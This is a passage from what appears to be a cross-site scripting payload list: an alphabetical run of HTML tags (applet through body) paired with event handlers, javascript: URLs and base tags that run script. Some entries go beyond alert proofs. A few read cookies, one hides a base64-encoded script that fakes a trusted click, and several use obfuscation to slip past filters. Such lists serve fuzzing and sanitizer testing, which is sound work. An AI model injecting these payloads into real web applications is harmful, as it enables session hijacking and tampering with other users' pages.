ondeactivate=alert(1)></applet><input id=y autofocus> <applet id=x tabindex=1 onfocus=alert(1)></applet> <applet id=x tabindex=1 onfocusin=alert(1)></applet> <applet onError applet onError="javascript:javascript:alert(1)"></applet onError> <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange> <applet onbeforecopy="alert(1)" contenteditable>test</applet> <applet onbeforecut="alert(1)" contenteditable>test</applet> <applet onbeforepaste="alert(1)" contenteditable>test</applet> <applet onblur=alert(1) tabindex=1 id=x></applet><input autofocus> <applet onclick="alert(1)">test</applet> <applet oncontextmenu="alert(1)">test</applet> <applet oncopy="alert(1)" contenteditable>test</applet> <applet oncut="alert(1)" contenteditable>test</applet> <applet ondblclick="alert(1)">test</applet> <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror> <applet onfocusout=alert(1) tabindex=1 id=x></applet><input autofocus> <applet onkeydown="alert(1)" contenteditable>test</applet> <applet onkeypress="alert(1)" contenteditable>test</applet> <applet onkeyup="alert(1)" contenteditable>test</applet> <applet onmousedown="alert(1)">test</applet> <applet onmouseenter="alert(1)">test</applet> <applet onmouseleave="alert(1)">test</applet> <applet onmousemove="alert(1)">test</applet> <applet onmouseout="alert(1)">test</applet> <applet onmouseover="alert(1)">test</applet> <applet onmouseup="alert(1)">test</applet> <applet onpaste="alert(1)" contenteditable>test</applet> <applet onreadystatechange=alert(1)></applet> <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange> <area draggable="true" ondrag="alert(1)">test</area> <area draggable="true" ondragend="alert(1)">test</area> <area draggable="true" ondragenter="alert(1)">test</area> <area draggable="true" ondragleave="alert(1)">test</area> <area draggable="true" ondragstart="alert(1)">test</area> <area id=x tabindex=1 onactivate=alert(1)></area> <area id=x tabindex=1 onbeforeactivate=alert(1)></area> <area id=x tabindex=1 onbeforedeactivate=alert(1)></area><input autofocus> <area id=x tabindex=1 ondeactivate=alert(1)></area><input id=y autofocus> <area onbeforecopy="alert(1)" contenteditable>test</area> <area onbeforecut="alert(1)" contenteditable>test</area> <area onbeforepaste="alert(1)" contenteditable>test</area> <area onblur=alert(1) tabindex=1 id=x></area><input autofocus> <area onclick="alert(1)">test</area> <area oncontextmenu="alert(1)">test</area> <area oncopy="alert(1)" contenteditable>test</area> <area oncut="alert(1)" contenteditable>test</area> <area ondblclick="alert(1)">test</area> <area onfocusout=alert(1) tabindex=1 id=x></area><input autofocus> <area onkeydown="alert(1)" contenteditable>test</area> <area onkeypress="alert(1)" contenteditable>test</area> <area onkeyup="alert(1)" contenteditable>test</area> <area onmousedown="alert(1)">test</area> <area onmouseenter="alert(1)">test</area> <area onmouseleave="alert(1)">test</area> <area onmousemove="alert(1)">test</area> <area onmouseout="alert(1)">test</area> <area onmouseover="alert(1)">test</area> <area onmouseup="alert(1)">test</area> <area onpaste="alert(1)" contenteditable>test</area> <article draggable="true" ondrag="alert(1)">test</article> <article draggable="true" ondragend="alert(1)">test</article> <article draggable="true" ondragenter="alert(1)">test</article> <article draggable="true" ondragleave="alert(1)">test</article> <article draggable="true" ondragstart="alert(1)">test</article> <article id=x tabindex=1 onactivate=alert(1)></article> <article id=x tabindex=1 onbeforeactivate=alert(1)></article> <article id=x tabindex=1 onbeforedeactivate=alert(1)></article><input autofocus> <article id=x tabindex=1 ondeactivate=alert(1)></article><input id=y autofocus> <article id=x tabindex=1 onfocus=alert(1)></article> <article id=x tabindex=1 onfocusin=alert(1)></article> <article onbeforecopy="alert(1)" contenteditable>test</article> <article onbeforecut="alert(1)" contenteditable>test</article> <article onbeforepaste="alert(1)" contenteditable>test</article> <article onblur=alert(1) tabindex=1 id=x></article><input autofocus> <article onclick="alert(1)">test</article> <article oncontextmenu="alert(1)">test</article> <article oncopy="alert(1)" contenteditable>test</article> <article oncut="alert(1)" contenteditable>test</article> <article ondblclick="alert(1)">test</article> <article onfocusout=alert(1) tabindex=1 id=x></article><input autofocus> <article onkeydown="alert(1)" contenteditable>test</article> <article onkeypress="alert(1)" contenteditable>test</article> <article onkeyup="alert(1)" contenteditable>test</article> <article onmousedown="alert(1)">test</article> <article onmouseenter="alert(1)">test</article> <article onmouseleave="alert(1)">test</article> <article onmousemove="alert(1)">test</article> <article onmouseout="alert(1)">test</article> <article onmouseover="alert(1)">test</article> <article onmouseup="alert(1)">test</article> <article onpaste="alert(1)" contenteditable>test</article> <aside draggable="true" ondrag="alert(1)">test</aside> <aside draggable="true" ondragend="alert(1)">test</aside> <aside draggable="true" ondragenter="alert(1)">test</aside> <aside draggable="true" ondragleave="alert(1)">test</aside> <aside draggable="true" ondragstart="alert(1)">test</aside> <aside id=x tabindex=1 onactivate=alert(1)></aside> <aside id=x tabindex=1 onbeforeactivate=alert(1)></aside> <aside id=x tabindex=1 onbeforedeactivate=alert(1)></aside><input autofocus> <aside id=x tabindex=1 ondeactivate=alert(1)></aside><input id=y autofocus> <aside id=x tabindex=1 onfocus=alert(1)></aside> <aside id=x tabindex=1 onfocusin=alert(1)></aside> <aside onbeforecopy="alert(1)" contenteditable>test</aside> <aside onbeforecut="alert(1)" contenteditable>test</aside> <aside onbeforepaste="alert(1)" contenteditable>test</aside> <aside onblur=alert(1) tabindex=1 id=x></aside><input autofocus> <aside onclick="alert(1)">test</aside> <aside oncontextmenu="alert(1)">test</aside> <aside oncopy="alert(1)" contenteditable>test</aside> <aside oncut="alert(1)" contenteditable>test</aside> <aside ondblclick="alert(1)">test</aside> <aside onfocusout=alert(1) tabindex=1 id=x></aside><input autofocus> <aside onkeydown="alert(1)" contenteditable>test</aside> <aside onkeypress="alert(1)" contenteditable>test</aside> <aside onkeyup="alert(1)" contenteditable>test</aside> <aside onmousedown="alert(1)">test</aside> <aside onmouseenter="alert(1)">test</aside> <aside onmouseleave="alert(1)">test</aside> <aside onmousemove="alert(1)">test</aside> <aside onmouseout="alert(1)">test</aside> <aside onmouseover="alert(1)">test</aside> <aside onmouseup="alert(1)">test</aside> <aside onpaste="alert(1)" contenteditable>test</aside> <a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a> <a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E <a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); alert(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script> <a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send(); <a target="x" href="xssme?xss=<script>var cl=Components;var fcc=String.fromCharCode;doc=cl.lookupMethod(top, fcc(100,111,99,117,109,101,110,116) )( );cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe> <audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio autoplay controls onvolumechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio autoplay onloadedmetadata=alert(1)> <source src="validaudio.wav" type="audio/wav"></audio> <audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio autoplay onplaying=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio controls autoplay ontimeupdate=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio draggable="true" ondrag="alert(1)">test</audio> <audio draggable="true" ondragend="alert(1)">test</audio> <audio draggable="true" ondragenter="alert(1)">test</audio> <audio draggable="true" ondragleave="alert(1)">test</audio> <audio draggable="true" ondragstart="alert(1)">test</audio> <audio id=x controls onfocus=alert(1) id=x><source src="validaudio.wav"></audio> <audio id=x controls onfocusin=alert(1) id=x><source src="validaudio.wav"></audio> <audio id=x tabindex=1 onactivate=alert(1)></audio> <audio id=x tabindex=1 onbeforeactivate=alert(1)></audio> <audio id=x tabindex=1 onbeforedeactivate=alert(1)></audio><input autofocus> <audio id=x tabindex=1 ondeactivate=alert(1)></audio><input id=y autofocus> <audio onbeforecopy="alert(1)" contenteditable>test</audio> <audio onbeforecut="alert(1)" contenteditable>test</audio> <audio onbeforepaste="alert(1)" contenteditable>test</audio> <audio onblur=alert(1) tabindex=1 id=x></audio><input autofocus> <audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio onclick="alert(1)">test</audio> <audio oncontextmenu="alert(1)">test</audio> <audio oncopy="alert(1)" contenteditable>test</audio> <audio oncut="alert(1)" contenteditable>test</audio> <audio ondblclick="alert(1)">test</audio> <audio onfocusout=alert(1) tabindex=1 id=x></audio><input autofocus> <audio onkeydown="alert(1)" contenteditable>test</audio> <audio onkeypress="alert(1)" contenteditable>test</audio> <audio onkeyup="alert(1)" contenteditable>test</audio> <audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio> <audio onmousedown="alert(1)">test</audio> <audio onmouseenter="alert(1)">test</audio> <audio onmouseleave="alert(1)">test</audio> <audio onmousemove="alert(1)">test</audio> <audio onmouseout="alert(1)">test</audio> <audio onmouseover="alert(1)">test</audio> <audio onmouseup="alert(1)">test</audio> <audio onpaste="alert(1)" contenteditable>test</audio> <audio src/onerror=alert(1)> <audio src=1 href=1 onerror="javascript:alert(1)"></audio> <audio src=1 onerror=alert(1)> <audio src onloadstart=alert(1)> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a> <b <script>alert(1)</script>0 <b> <base HREF="javascript:document.vulnerable=true;//"> <base draggable="true" ondrag="alert(1)">test</base> <base draggable="true" ondragend="alert(1)">test</base> <base draggable="true" ondragenter="alert(1)">test</base> <base draggable="true" ondragleave="alert(1)">test</base> <base draggable="true" ondragstart="alert(1)">test</base> <basefont draggable="true" ondrag="alert(1)">test</basefont> <basefont draggable="true" ondragend="alert(1)">test</basefont> <basefont draggable="true" ondragenter="alert(1)">test</basefont> <basefont draggable="true" ondragleave="alert(1)">test</basefont> <basefont draggable="true" ondragstart="alert(1)">test</basefont> <basefont id=x tabindex=1 onactivate=alert(1)></basefont> <basefont id=x tabindex=1 onbeforeactivate=alert(1)></basefont> <basefont id=x tabindex=1 onbeforedeactivate=alert(1)></basefont><input autofocus> <basefont id=x tabindex=1 ondeactivate=alert(1)></basefont><input id=y autofocus> <basefont id=x tabindex=1 onfocus=alert(1)></basefont> <basefont id=x tabindex=1 onfocusin=alert(1)></basefont> <basefont onbeforecopy="alert(1)" contenteditable>test</basefont> <basefont onbeforecut="alert(1)" contenteditable>test</basefont> <basefont onbeforepaste="alert(1)" contenteditable>test</basefont> <basefont onblur=alert(1) tabindex=1 id=x></basefont><input autofocus> <basefont onclick="alert(1)">test</basefont> <basefont oncontextmenu="alert(1)">test</basefont> <basefont oncopy="alert(1)" contenteditable>test</basefont> <basefont oncut="alert(1)" contenteditable>test</basefont> <basefont ondblclick="alert(1)">test</basefont> <basefont onfocusout=alert(1) tabindex=1 id=x></basefont><input autofocus> <basefont onkeydown="alert(1)" contenteditable>test</basefont> <basefont onkeypress="alert(1)" contenteditable>test</basefont> <basefont onkeyup="alert(1)" contenteditable>test</basefont> <basefont onmousedown="alert(1)">test</basefont> <basefont onmouseenter="alert(1)">test</basefont> <basefont onmouseleave="alert(1)">test</basefont> <basefont onmousemove="alert(1)">test</basefont> <basefont onmouseout="alert(1)">test</basefont> <basefont onmouseover="alert(1)">test</basefont> <basefont onmouseup="alert(1)">test</basefont> <basefont onpaste="alert(1)" contenteditable>test</basefont> <base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)"> <base href=//0> <base id=x tabindex=1 onactivate=alert(1)></base> <base id=x tabindex=1 onbeforeactivate=alert(1)></base> <base id=x tabindex=1 onbeforedeactivate=alert(1)></base><input autofocus> <base id=x tabindex=1 ondeactivate=alert(1)></base><input id=y autofocus> <base id=x tabindex=1 onfocus=alert(1)></base> <base id=x tabindex=1 onfocusin=alert(1)></base> <base onbeforecopy="alert(1)" contenteditable>test</base> <base onbeforecut="alert(1)" contenteditable>test</base> <base onbeforepaste="alert(1)" contenteditable>test</base> <base onblur=alert(1) tabindex=1 id=x></base><input autofocus> <base onclick="alert(1)">test</base> <base oncontextmenu="alert(1)">test</base> <base oncopy="alert(1)" contenteditable>test</base> <base oncut="alert(1)" contenteditable>test</base> <base ondblclick="alert(1)">test</base> <base onfocusout=alert(1) tabindex=1 id=x></base><input autofocus> <base onkeydown="alert(1)" contenteditable>test</base> <base onkeypress="alert(1)" contenteditable>test</base> <base onkeyup="alert(1)" contenteditable>test</base> <base onmousedown="alert(1)">test</base> <base onmouseenter="alert(1)">test</base> <base onmouseleave="alert(1)">test</base> <base onmousemove="alert(1)">test</base> <base onmouseout="alert(1)">test</base> <base onmouseover="alert(1)">test</base> <base onmouseup="alert(1)">test</base> <base onpaste="alert(1)" contenteditable>test</base> <base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a> <bdi draggable="true" ondrag="alert(1)">test</bdi> <bdi draggable="true" ondragend="alert(1)">test</bdi> <bdi draggable="true" ondragenter="alert(1)">test</bdi> <bdi draggable="true" ondragleave="alert(1)">test</bdi> <bdi draggable="true" ondragstart="alert(1)">test</bdi> <bdi id=x tabindex=1 onactivate=alert(1)></bdi> <bdi id=x tabindex=1 onbeforeactivate=alert(1)></bdi> <bdi id=x tabindex=1 onbeforedeactivate=alert(1)></bdi><input autofocus> <bdi id=x tabindex=1 ondeactivate=alert(1)></bdi><input id=y autofocus> <bdi id=x tabindex=1 onfocus=alert(1)></bdi> <bdi id=x tabindex=1 onfocusin=alert(1)></bdi> <bdi onbeforecopy="alert(1)" contenteditable>test</bdi> <bdi onbeforecut="alert(1)" contenteditable>test</bdi> <bdi onbeforepaste="alert(1)" contenteditable>test</bdi> <bdi onblur=alert(1) tabindex=1 id=x></bdi><input autofocus> <bdi onclick="alert(1)">test</bdi> <bdi oncontextmenu="alert(1)">test</bdi> <bdi oncopy="alert(1)" contenteditable>test</bdi> <bdi oncut="alert(1)" contenteditable>test</bdi> <bdi ondblclick="alert(1)">test</bdi> <bdi onfocusout=alert(1) tabindex=1 id=x></bdi><input autofocus> <bdi onkeydown="alert(1)" contenteditable>test</bdi> <bdi onkeypress="alert(1)" contenteditable>test</bdi> <bdi onkeyup="alert(1)" contenteditable>test</bdi> <bdi onmousedown="alert(1)">test</bdi> <bdi onmouseenter="alert(1)">test</bdi> <bdi onmouseleave="alert(1)">test</bdi> <bdi onmousemove="alert(1)">test</bdi> <bdi onmouseout="alert(1)">test</bdi> <bdi onmouseover="alert(1)">test</bdi> <bdi onmouseup="alert(1)">test</bdi> <bdi onpaste="alert(1)" contenteditable>test</bdi> <bdo draggable="true" ondrag="alert(1)">test</bdo> <bdo draggable="true" ondragend="alert(1)">test</bdo> <bdo draggable="true" ondragenter="alert(1)">test</bdo> <bdo draggable="true" ondragleave="alert(1)">test</bdo> <bdo draggable="true" ondragstart="alert(1)">test</bdo> <bdo id=x tabindex=1 onactivate=alert(1)></bdo> <bdo id=x tabindex=1 onbeforeactivate=alert(1)></bdo> <bdo id=x tabindex=1 onbeforedeactivate=alert(1)></bdo><input autofocus> <bdo id=x tabindex=1 ondeactivate=alert(1)></bdo><input id=y autofocus> <bdo id=x tabindex=1 onfocus=alert(1)></bdo> <bdo id=x tabindex=1 onfocusin=alert(1)></bdo> <bdo onbeforecopy="alert(1)" contenteditable>test</bdo> <bdo onbeforecut="alert(1)" contenteditable>test</bdo> <bdo onbeforepaste="alert(1)" contenteditable>test</bdo> <bdo onblur=alert(1) tabindex=1 id=x></bdo><input autofocus> <bdo onclick="alert(1)">test</bdo> <bdo oncontextmenu="alert(1)">test</bdo> <bdo oncopy="alert(1)" contenteditable>test</bdo> <bdo oncut="alert(1)" contenteditable>test</bdo> <bdo ondblclick="alert(1)">test</bdo> <bdo onfocusout=alert(1) tabindex=1 id=x></bdo><input autofocus> <bdo onkeydown="alert(1)" contenteditable>test</bdo> <bdo onkeypress="alert(1)" contenteditable>test</bdo> <bdo onkeyup="alert(1)" contenteditable>test</bdo> <bdo onmousedown="alert(1)">test</bdo> <bdo onmouseenter="alert(1)">test</bdo> <bdo onmouseleave="alert(1)">test</bdo> <bdo onmousemove="alert(1)">test</bdo> <bdo onmouseout="alert(1)">test</bdo> <bdo onmouseover="alert(1)">test</bdo> <bdo onmouseup="alert(1)">test</bdo> <bdo onpaste="alert(1)" contenteditable>test</bdo> <b draggable="true" ondrag="alert(1)">test</b> <b draggable="true" ondragend="alert(1)">test</b> <b draggable="true" ondragenter="alert(1)">test</b> <b draggable="true" ondragleave="alert(1)">test</b> <b draggable="true" ondragstart="alert(1)">test</b> <bgsound SRC="javascript:document.vulnerable=true;"> <bgsound draggable="true" ondrag="alert(1)">test</bgsound> <bgsound draggable="true" ondragend="alert(1)">test</bgsound> <bgsound draggable="true" ondragenter="alert(1)">test</bgsound> <bgsound draggable="true" ondragleave="alert(1)">test</bgsound> <bgsound draggable="true" ondragstart="alert(1)">test</bgsound> <bgsound id=x tabindex=1 onactivate=alert(1)></bgsound> <bgsound id=x tabindex=1 onbeforeactivate=alert(1)></bgsound> <bgsound id=x tabindex=1 onbeforedeactivate=alert(1)></bgsound><input autofocus> <bgsound id=x tabindex=1 ondeactivate=alert(1)></bgsound><input id=y autofocus> <bgsound id=x tabindex=1 onfocus=alert(1)></bgsound> <bgsound id=x tabindex=1 onfocusin=alert(1)></bgsound> <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange> <bgsound onbeforecopy="alert(1)" contenteditable>test</bgsound> <bgsound onbeforecut="alert(1)" contenteditable>test</bgsound> <bgsound onbeforepaste="alert(1)" contenteditable>test</bgsound> <bgsound onblur=alert(1) tabindex=1 id=x></bgsound><input autofocus> <bgsound onclick="alert(1)">test</bgsound> <bgsound oncontextmenu="alert(1)">test</bgsound> <bgsound oncopy="alert(1)" contenteditable>test</bgsound> <bgsound oncut="alert(1)" contenteditable>test</bgsound> <bgsound ondblclick="alert(1)">test</bgsound> <bgsound onfocusout=alert(1) tabindex=1 id=x></bgsound><input autofocus> <bgsound onkeydown="alert(1)" contenteditable>test</bgsound> <bgsound onkeypress="alert(1)" contenteditable>test</bgsound> <bgsound onkeyup="alert(1)" contenteditable>test</bgsound> <bgsound onmousedown="alert(1)">test</bgsound> <bgsound onmouseenter="alert(1)">test</bgsound> <bgsound onmouseleave="alert(1)">test</bgsound> <bgsound onmousemove="alert(1)">test</bgsound> <bgsound onmouseout="alert(1)">test</bgsound> <bgsound onmouseover="alert(1)">test</bgsound> <bgsound onmouseup="alert(1)">test</bgsound> <bgsound onpaste="alert(1)" contenteditable>test</bgsound> <bgsound src="javascript:document.vulnerable=true;"> <b id=x tabindex=1 onactivate=alert(1)></b> <b id=x tabindex=1 onbeforeactivate=alert(1)></b> <b id=x tabindex=1 onbeforedeactivate=alert(1)></b><input autofocus> <b id=x tabindex=1 ondeactivate=alert(1)></b><input id=y autofocus> <b id=x tabindex=1 onfocus=alert(1)></b> <b id=x tabindex=1 onfocusin=alert(1)></b> <big draggable="true" ondrag="alert(1)">test</big> <big draggable="true" ondragend="alert(1)">test</big> <big draggable="true" ondragenter="alert(1)">test</big> <big draggable="true" ondragleave="alert(1)">test</big> <big draggable="true" ondragstart="alert(1)">test</big> <big id=x tabindex=1 onactivate=alert(1)></big> <big id=x tabindex=1 onbeforeactivate=alert(1)></big> <big id=x tabindex=1 onbeforedeactivate=alert(1)></big><input autofocus> <big id=x tabindex=1 ondeactivate=alert(1)></big><input id=y autofocus> <big id=x tabindex=1 onfocus=alert(1)></big> <big id=x tabindex=1 onfocusin=alert(1)></big> <big onbeforecopy="alert(1)" contenteditable>test</big> <big onbeforecut="alert(1)" contenteditable>test</big> <big onbeforepaste="alert(1)" contenteditable>test</big> <big onblur=alert(1) tabindex=1 id=x></big><input autofocus> <big onclick="alert(1)">test</big> <big oncontextmenu="alert(1)">test</big> <big oncopy="alert(1)" contenteditable>test</big> <big oncut="alert(1)" contenteditable>test</big> <big ondblclick="alert(1)">test</big> <big onfocusout=alert(1) tabindex=1 id=x></big><input autofocus> <big onkeydown="alert(1)" contenteditable>test</big> <big onkeypress="alert(1)" contenteditable>test</big> <big onkeyup="alert(1)" contenteditable>test</big> <big onmousedown="alert(1)">test</big> <big onmouseenter="alert(1)">test</big> <big onmouseleave="alert(1)">test</big> <big onmousemove="alert(1)">test</big> <big onmouseout="alert(1)">test</big> <big onmouseover="alert(1)">test</big> <big onmouseup="alert(1)">test</big> <big onpaste="alert(1)" contenteditable>test</big> <bleh/onclick=top[/al/.source+/ert/.source] ``>click <blink draggable="true" ondrag="alert(1)">test</blink> <blink draggable="true" ondragend="alert(1)">test</blink> <blink draggable="true" ondragenter="alert(1)">test</blink> <blink draggable="true" ondragleave="alert(1)">test</blink> <blink draggable="true" ondragstart="alert(1)">test</blink> <blink id=x tabindex=1 onactivate=alert(1)></blink> <blink id=x tabindex=1 onbeforeactivate=alert(1)></blink> <blink id=x tabindex=1 onbeforedeactivate=alert(1)></blink><input autofocus> <blink id=x tabindex=1 ondeactivate=alert(1)></blink><input id=y autofocus> <blink id=x tabindex=1 onfocus=alert(1)></blink> <blink id=x tabindex=1 onfocusin=alert(1)></blink> <blink onbeforecopy="alert(1)" contenteditable>test</blink> <blink onbeforecut="alert(1)" contenteditable>test</blink> <blink onbeforepaste="alert(1)" contenteditable>test</blink> <blink onblur=alert(1) tabindex=1 id=x></blink><input autofocus> <blink onclick="alert(1)">test</blink> <blink oncontextmenu="alert(1)">test</blink> <blink oncopy="alert(1)" contenteditable>test</blink> <blink oncut="alert(1)" contenteditable>test</blink> <blink ondblclick="alert(1)">test</blink> <blink onfocusout=alert(1) tabindex=1 id=x></blink><input autofocus> <blink onkeydown="alert(1)" contenteditable>test</blink> <blink onkeypress="alert(1)" contenteditable>test</blink> <blink onkeyup="alert(1)" contenteditable>test</blink> <blink onmousedown="alert(1)">test</blink> <blink onmouseenter="alert(1)">test</blink> <blink onmouseleave="alert(1)">test</blink> <blink onmousemove="alert(1)">test</blink> <blink onmouseout="alert(1)">test</blink> <blink onmouseover="alert(1)">test</blink> <blink onmouseup="alert(1)">test</blink> <blink onpaste="alert(1)" contenteditable>test</blink> <blockquote draggable="true" ondrag="alert(1)">test</blockquote> <blockquote draggable="true" ondragend="alert(1)">test</blockquote> <blockquote draggable="true" ondragenter="alert(1)">test</blockquote> <blockquote draggable="true" ondragleave="alert(1)">test</blockquote> <blockquote draggable="true" ondragstart="alert(1)">test</blockquote> <blockquote id=x tabindex=1 onactivate=alert(1)></blockquote> <blockquote id=x tabindex=1 onbeforeactivate=alert(1)></blockquote> <blockquote id=x tabindex=1 onbeforedeactivate=alert(1)></blockquote><input autofocus> <blockquote id=x tabindex=1 ondeactivate=alert(1)></blockquote><input id=y autofocus> <blockquote id=x tabindex=1 onfocus=alert(1)></blockquote> <blockquote id=x tabindex=1 onfocusin=alert(1)></blockquote> <blockquote onbeforecopy="alert(1)" contenteditable>test</blockquote> <blockquote onbeforecut="alert(1)" contenteditable>test</blockquote> <blockquote onbeforepaste="alert(1)" contenteditable>test</blockquote> <blockquote onblur=alert(1) tabindex=1 id=x></blockquote><input autofocus> <blockquote onclick="alert(1)">test</blockquote> <blockquote oncontextmenu="alert(1)">test</blockquote> <blockquote oncopy="alert(1)" contenteditable>test</blockquote> <blockquote oncut="alert(1)" contenteditable>test</blockquote> <blockquote ondblclick="alert(1)">test</blockquote> <blockquote onfocusout=alert(1) tabindex=1 id=x></blockquote><input autofocus> <blockquote onkeydown="alert(1)" contenteditable>test</blockquote> <blockquote onkeypress="alert(1)" contenteditable>test</blockquote> <blockquote onkeyup="alert(1)" contenteditable>test</blockquote> <blockquote onmousedown="alert(1)">test</blockquote> <blockquote onmouseenter="alert(1)">test</blockquote> <blockquote onmouseleave="alert(1)">test</blockquote> <blockquote onmousemove="alert(1)">test</blockquote> <blockquote onmouseout="alert(1)">test</blockquote> <blockquote onmouseover="alert(1)">test</blockquote> <blockquote onmouseup="alert(1)">test</blockquote> <blockquote onpaste="alert(1)" contenteditable>test</blockquote> <body/onload=<!--> alert(1)> <body/s/onload=x={doc:parent.document};x.doc.writeln(1) <body/””$/onload=x={doc:parent[’document’]};x.doc.writeln(1) <body <body onload=;;;;;al:eval('al'+'ert(1)');;> <body> <body>Hello</body> <body BACKGROUND="javascript:document.vulnerable=true;"> <body ONLOAD=document.vulnerable=true;> <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body> <body draggable="true" ondrag="alert(1)">test</body> <body draggable="true" ondragend="alert(1)">test</body> <body draggable="true" ondragenter="alert(1)">test</body> <body draggable="true" ondragleave="alert(1)">test</body> <body draggable="true" ondragstart="alert(1)">test</body> <body id=x tabindex=1 onactivate=alert(1)></body> <body id=x tabindex=1 onbeforeactivate=alert(1)></body> <body id=x tabindex=1 onbeforedeactivate=alert(1)></body><input autofocus> <body id=x tabindex=1 ondeactivate=alert(1)></body><input id=y autofocus> <body id=x tabindex=1 onfocus=alert(1)></body> <body id=x tabindex=1 onfocusin=alert(1)></body> <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload> <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus> <body onLoad="alert('XSS');" <body onLoad="while(true) alert('XSS');"> <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad> <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter> <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove> <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver> <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide> <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow> <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState> <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange> <body onResize body onResize="javascript:javascript:alert(1)"></body onResize> <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload> <body onafterprint=alert(1)> <body onbeforecopy="alert(1)" contenteditable>test</body> <body onbeforecut="alert(1)" contenteditable>test</body> <body onbeforepaste="alert(1)" contenteditable>test</body> <body onbeforeprint=alert(1)> <body onbeforeunload="location='javascript:alert(1)'"> <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload> <body onblur=alert(1) id=x><iframe id=x> <body onblur body onblur="javascript:javascript:alert(1)"></body onblur> <body onclick="alert(1)">test</body> <body oncontextmenu="alert(1)">test</body> <body oncopy="alert(1)" contenteditable>test</body> <body oncut="alert(1)" contenteditable>test</body> <body ondblclick="alert(1)">test</body> <body onerror=alert(1) onload=/> <body onfocus=alert(1)> <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus> <body onfocusout=alert(1) id=x><iframe id=x> <body onhashchange="alert(1)"> <body onhashchange=alert(1)><a href=#x>click this!#x <body onhashchange=alert(1)><a href=%23x>click this!#x <body onhelp=alert(1)>press F1! <body onhelp=alert(1)>press F1! (MSIE) <body oninput=javascript:alert(1)><input autofocus> <body onkeydown="alert(1)" contenteditable>test</body> <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown> <body onkeypress="alert(1)" contenteditable>test</body> <body onkeyup="alert(1)" contenteditable>test</body> <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup> <body 